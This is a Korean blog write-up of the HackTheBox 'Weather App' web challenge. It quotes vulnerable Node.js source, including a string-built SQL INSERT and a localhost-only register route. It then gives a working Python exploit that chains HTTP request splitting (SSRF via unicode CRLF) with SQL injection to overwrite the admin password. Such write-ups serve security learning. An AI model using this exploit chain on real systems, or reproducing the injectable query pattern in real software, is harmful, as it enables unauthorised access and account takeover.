워게임/HackTheBox

[HackTheBox] Weather App - 웹해킹 / SSRF / SQL Injection

SecurityMan 2023. 1. 5. 11:00

 

HackTheBox에서 제공하는 웹 해킹 문제

 

난이도가 Easy로 되어있는데..

 

Easy 치고는 좀 어려운 편이라고 생각한다.

 

반응형

 

 

문제 페이지에 접속하면 이런 화면이 나온다.

 

문제 제목 그대로 날씨를 알려주는 기능이다.

 

대구에서 접속 안했는데 이상하게 대구라고 뜬다.

 

 

같이 제공되는 문제 파일을 보면

 

날씨를 알려주는 index.html 페이지 외에도

 

login.html, register.html 페이지가 있는것을 확인할 수 있다.

 

 

URL에 직접 /login, /register 라고 입력하면 이렇게 접속이 가능하다.

 

router.post('/register', (req, res) => {

	if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
		return res.status(401).end();
	}

	let { username, password } = req.body;

	if (username && password) {
		return db.register(username, password)
			.then(()  => res.send(response('Successfully registered')))
			.catch(() => res.send(response('Something went wrong')));
	}

	return res.send(response('Missing parameters'));
});

 

routes/index.js 파일의 내용을 살펴보면

 

req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1' 라고 되어있는부분이 보인다.

 

register 페이지에서 회원가입을 하려면 

 

접속하는 아이피가 127.0.0.1(로컬 호스트) 여야만 한다.

 

가장 먼저 이걸 우회해서 회원가입을 해야겠다고 생각했다.

 

    async register(user, pass) {
        // TODO: add parameterization and roll public
        return new Promise(async (resolve, reject) => {
            try {
                let query = `INSERT INTO users (username, password) VALUES ('${user}', '${pass}')`;
                resolve((await this.db.run(query)));
            } catch(e) {
                reject(e);
            }
        });
    }

    async isAdmin(user, pass) {
        return new Promise(async (resolve, reject) => {
            try {
                let smt = await this.db.prepare('SELECT username FROM users WHERE username = ? and password = ?');
                let row = await smt.get(user, pass);
                resolve(row !== undefined ? row.username == 'admin' : false);
            } catch(e) {
                reject(e);
            }
        });
    }

 

또 database.js 파일에서

 

register() 함수와 isAdmin() 함수를 보면 뭘 해야할지 명확하게 알 수 있다.

 

둘다 똑같이 DB와 연결하는 부분인데,

 

isAdmin 에서는 this.db.prepare 와 같이 쿼리를 preparedstatement로 

 

인젝션이 불가능 하도록 조치했는데,

 

register 에서는 아무런 조치가 없어 인젝션이 가능하다.

 

isAdmin 으로 한가지 더 추측하자면 SQL Injection을 통해

 

admin 으로 로그인을 하는것이 문제의 목표라는 것이다.

 

 

우선 SSRF를 하기 위해

 

package.json 파일에 있는 node 버전을  이용해서 구글에 검색해봤다.

 

https://jaeseokim.dev/Security/nodejs-HTTP-request-splitting%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-SSRF-%EC%B7%A8%EC%95%BD%EC%A0%90featNullCon2020-splitsecond-WriteUp/

 

[node.js] : HTTP request splitting을 이용한 SSRF 취약점(feat.NullCon_2020-split_second WriteUp)

이번에 TeamMODU에서 다른 형이 발표한 NullCon2020-splitsecond 문제의 WriteUp를 보며 신기하고 재미있어 보여서 한번 공부를 해봤습니다. CVE-2018-12116 대상 : Node.js: All versions prior to Node.js 6.15.0 and 8.14.0 위

jaeseokim.dev

 

그러다 관련있어보이는 게시글을 하나 발견했다.

 

HTTP request spliting을 이요핸 SSRF 공격인데

 

2020nullcon에 나왔던 취약점이라고 한다.

 

요점은

 

\u010D → \r 

\u010A → \n

 

처럼 유니코드를 개행문자로 변환할 수 있다는 것이다.

 

문제는 이 취약점을 어디에 쓰냐는것인데

 

async getWeather(res, endpoint, city, country) {
    // *.openweathermap.org is out of scope
    let apiKey = '10a62430af617a949055a46fa6dec32f';
    let weatherData = await HttpHelper.HttpGet(`http://${endpoint}/data/2.5/weather?q=${city},${country}&units=metric&appid=${apiKey}`);

 

WeatherHelper.js 에 있는 getWeather 가 유력해보였다.

 

index.html에 접속할때 endpoint, city, country의 값을 입력받는데, 여기다가 넣을 수 있을것 같았다.

 

import requests
import json

space = '\u0120'
crlf = '\u010d\u010a'
payload = ''

payload += space+'HTTP/1.1'+crlf
payload += 'Host:'+space+'127.0.0.1'+crlf
payload += 'Connection:'+space+'close'+crlf+crlf
payload += 'POST'+space+'/register'+space+'HTTP/1.1'+crlf
payload += 'Host:'+space+'127.0.0.1'+crlf
payload += 'Connection:'+space+'close'+crlf
payload += 'Content-Type:'+space+'application/x-www-form-urlencoded'+crlf
payload += 'Content-Length:'+space+'126'+crlf+crlf
payload += 'username=admin&password=aaaa%27%29+ON+CONFLICT%28username%29+DO+UPDATE+SET+password%3d%27admin%27+WHERE+username%3d%27admin%27+--'+crlf+crlf
payload += 'GET'+space+'/bbbb'

print(payload)

url = 'http://178.128.37.153:31389/api/weather'
header = {"content-type":"application/json"}
data = {
        "endpoint":"127.0.0.1",
        "city":"aaaa",
        "country":"aaaa"+payload
        }

r = requests.post(url, data=json.dumps(data), headers=header)

 

공격 코드는 위와 같다.

 

요약하면 /api/weather 로 보내는 패킷 뒤에 payload를 이어붙혀서 보내는 것이다.

 

가장 먼저 payload를 작성해줬는데 HTTP 요청 패킷 모양에 맞춰서

 

HTTP/1.1 부터 Host, Connection 헤더를 써주고,

 

CRLF 를 두번 이어 써서 Request 를 Splitting 해준 뒤 새로운 요청 패킷을 써주는 것이다.

 

Splitting 해준 다음에 오는 요청 패킷은

 

/register 경로로 요청을 보내는 것으로 만들고,

 

서버에서 보내는 것이기 때문에 아까 봤던 127.0.0.1 필터를 우회할 수 있다.(SSRF)

 

INSERT INTO users (username, password) VALUES ('${user}', '${pass}')

 

이게 아까 봤던 새로운 유저를 등록하는 쿼리인데,

 

이 부분에

 

INSERT INTO users (username, password) VALUES ('admin', 'aaaa') ON CONFLICT(username) DO UPDATE SET password='admin' WHERE username='admin' --')

 

이런식으로 인젝션이 되게끔 보내는 POST 요청 패킷이다.

 

쿼리를 간단하게 해석하자면

 

username이 admin 이고 password가 aaaa인 계정을 등록하는데,

 

만약 admin 인 계정이 DB에 이미 존재한다면, password를 admin 으로 바꿔라 라는 의미이다.

 

지금 DB에 admin이라는 계정이 존재한다는 것을 알고 있기 때문에

 

해당 인젝션을 성공하면 admin 계정의 비밀번호는 무조건 admin으로 바뀌게 된다.

 

 

파이썬 코드를 실행시킨 뒤

 

/login 페이지로 가서 admin / admin 으로 로그인을 해주면

 

 

플래그를 찾을 수 있다.

반응형